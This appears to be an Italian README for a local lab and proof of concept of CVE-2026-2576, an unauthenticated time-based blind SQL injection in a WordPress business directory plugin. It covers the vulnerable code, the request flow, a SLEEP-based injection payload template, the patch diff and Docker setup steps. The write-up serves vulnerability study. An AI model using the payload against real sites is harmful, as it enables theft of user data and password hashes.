
CVE-2026-2576 — PoC SQLi per il Plugin Business Directory (Configurazione Locale). Iniezione SQL Blind Basata sul Tempo Non Autenticata nel Plugin Business Directory per WordPress ≤ 6.4.21
SQL Injection cieca basata sul tempo, non autenticata
Plugin Business Directory per WordPress ≤ 6.4.21
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2026-2576 |
| Plugin | Business Directory Plugin – Easy Listing Directories for WordPress |
| Vendor | strategy11team |
| Versioni affette | Tutte le versioni ≤ 6.4.21 |
| Corretta in | 6.4.22 |
| Tipo | SQL Injection cieca basata sul tempo (CWE-89) |
| Autenticazione | Nessuna — completamente non autenticata |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Assegnatario | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Divulgata | 18 febbraio 2026 |
Il Business Directory Plugin è un plugin WordPress ampiamente utilizzato per creare
directory di annunci con supporto ai pagamenti. Una falla nel suo query builder ORM
consente a un attaccante non autenticato di eseguire SQL injection cieca basata sul tempo tramite il parametro di query payment,
permettendo di dedurre il contenuto del database.
La vulnerabilità risiede nel query builder ORM:
File: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ VULNERABILE — nessuna sanitizzazione, concatenazione diretta di stringhe
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Sicuro — usa $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Quando $v è uno scalare, il codice usa correttamente $wpdb->prepare(). Quando
$v è un array, si cade nel ramo non sicuro e i valori vengono concatenati
direttamente nella stringa SQL senza alcun escaping.
Il controller del checkout (includes/controllers/pages/class-checkout.php)
legge il parametro di richiesta payment e lo passa all'ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id passato come valore
);
}
PHP converte automaticamente payment[]=value nella query string in un
array $_GET['payment'] = ['value']. Questo forza $v a essere un array in
filter_args(), colpendo il ramo non sicuro.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← array grazie alla notazione []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → ramo non sicuro
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condizione>),SLEEP(N),0)-- -
SQL generato:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condizione>),SLEEP(N),0)-- -')
Il -- - commenta il ') finale. L'IF() crea un oracolo booleano:
quando la condizione è VERA, SLEEP(N) scatta e la risposta viene ritardata;
quando è FALSA la risposta è immediata.
Nota: L'ORM esegue la query due volte per richiesta (una in get(), una
in maybe_execute_query()), quindi un payload SLEEP(1) produce circa 2 secondi di
ritardo osservabile, e SLEEP(2) produce circa 4 secondi.
Un attaccante non autenticato può dedurre ed estrarre il contenuto del database carattere per carattere tramite risposte basate sul tempo, inclusi:
wp_users), nomi utente, indirizzi email, hash delle passwordLa correzione nella versione 6.4.22 aggiunge la sanitizzazione al ramo array di
filter_args():
// PRIMA (vulnerabile)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// DOPO (corretto)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Installa le dipendenze Python:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Attendi finché non vedi:
╔══════════════════════════════════════════════════════════╗
║ Configurazione del Laboratorio Completata! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERABILE) ║
║ ID Pagina BD: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Atteso: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+